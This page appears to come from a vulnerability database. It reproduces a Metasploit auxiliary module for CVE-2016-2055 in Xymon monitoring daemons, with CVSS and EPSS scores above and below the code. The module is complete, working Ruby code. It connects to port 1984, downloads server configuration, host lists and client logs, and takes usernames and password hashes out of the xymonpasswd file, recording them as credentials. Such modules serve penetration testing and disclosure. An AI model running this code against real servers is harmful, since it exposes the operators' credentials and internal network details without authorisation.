CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS
Percentile
98.9%
This module retrieves information from a Xymon daemon service (formerly Hobbit, based on Big Brother), including server configuration information, a list of monitored hosts, and associated client log for each host. This module also retrieves usernames and password hashes from the xymonpasswd
config file from Xymon servers before 4.3.25, which permit download arbitrary config files (CVE-2016-2055), and servers configured with ALLOWALLCONFIGFILES
enabled.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Xymon Daemon Gather Information',
'Description' => %q{
This module retrieves information from a Xymon daemon service
(formerly Hobbit, based on Big Brother), including server
configuration information, a list of monitored hosts, and
associated client log for each host.
This module also retrieves usernames and password hashes from
the `xymonpasswd` config file from Xymon servers before 4.3.25,
which permit download arbitrary config files (CVE-2016-2055),
and servers configured with `ALLOWALLCONFIGFILES` enabled.
},
'Author' => [
'Markus Krell', # CVE-2016-2055 discovery
'bcoles' # Metasploit
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-2055'],
['PACKETSTORM', '135758'],
['URL', 'https://lists.xymon.com/pipermail/xymon/2016-February/042986.html'],
['URL', 'https://xymon.sourceforge.net/'],
['URL', 'https://en.wikipedia.org/wiki/Xymon'],
['URL', 'https://en.wikipedia.org/wiki/Big_Brother_(software)']
]
)
register_options [Opt::RPORT(1984)]
end
def xymon_send(cmd)
vprint_status "Sending: #{cmd}"
connect
sock.puts cmd
sock.shutdown(:WR)
return sock.get(5)
ensure
disconnect
end
def run
res = xymon_send('ping').to_s
unless res.starts_with? 'xymond'
print_error 'Target is not a Xymon daemon'
return
end
version = res.scan(/^xymond ([\d\.]+)/).flatten.first
unless version
print_error 'Could not retrieve Xymon version'
end
print_status "Xymon daemon version #{version}"
service_data = {
address: rhost,
port: rport,
service_name: 'xymond',
protocol: 'tcp',
info: version,
workspace_id: myworkspace_id
}
xymond_service = report_service(service_data)
print_status 'Retrieving configuration files ...'
%w(xymonserver.cfg hosts.cfg xymonpasswd).each do |config|
res = xymon_send("config #{config}").to_s
if res.blank?
print_error "Could not retrieve #{config}"
next
end
path = store_loot(
"xymon.config.#{config.sub(/\.cfg$/, '')}",
'text/plain',
target_host,
res,
nil,
"config #{config}",
xymond_service
)
print_good "#{config} (#{res.size} bytes) stored in #{path}"
if config == 'xymonpasswd'
res.each_line.map {|l| l.strip}.reject{|l| l.blank? || l.starts_with?('#')}.each do |c|
user = c.split(':')[0].to_s.strip
hash = c.split(':')[1].to_s.strip
print_good("Credentials: #{user} : #{hash}")
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: hash,
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
username: user
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
end
end
print_status 'Retrieving host list ...'
res = xymon_send('hostinfo').to_s
if res.blank?
print_error 'Could not retrieve client host list'
return
end
path = store_loot(
'xymon.hostinfo',
'text/plain',
target_host,
res,
nil,
'hostinfo',
xymond_service
)
print_good "Host info (#{res.size} bytes) stored in #{path}"
hosts = res.each_line.map {|line| line.split('|').first}.reject {|host| host.blank?}
if hosts.empty?
print_error 'Found no client hosts'
return
end
print_good "Found #{hosts.size} hosts"
print_status 'Retrieving client logs ...'
hosts.each do |host|
res = xymon_send("clientlog #{host}")
unless res
print_error "Could not retrieve client log for #{host}"
next
end
if res.blank?
print_status "#{host} client log is empty"
next
end
path = store_loot(
"xymon.hosts.#{host}",
'text/plain',
target_host,
res,
nil,
"clientlog #{host}",
xymond_service
)
print_good "#{host} client log (#{res.size} bytes) stored in #{path}"
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue Timeout::Error => e
print_error(e.message)
end
end
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS
Percentile
98.9%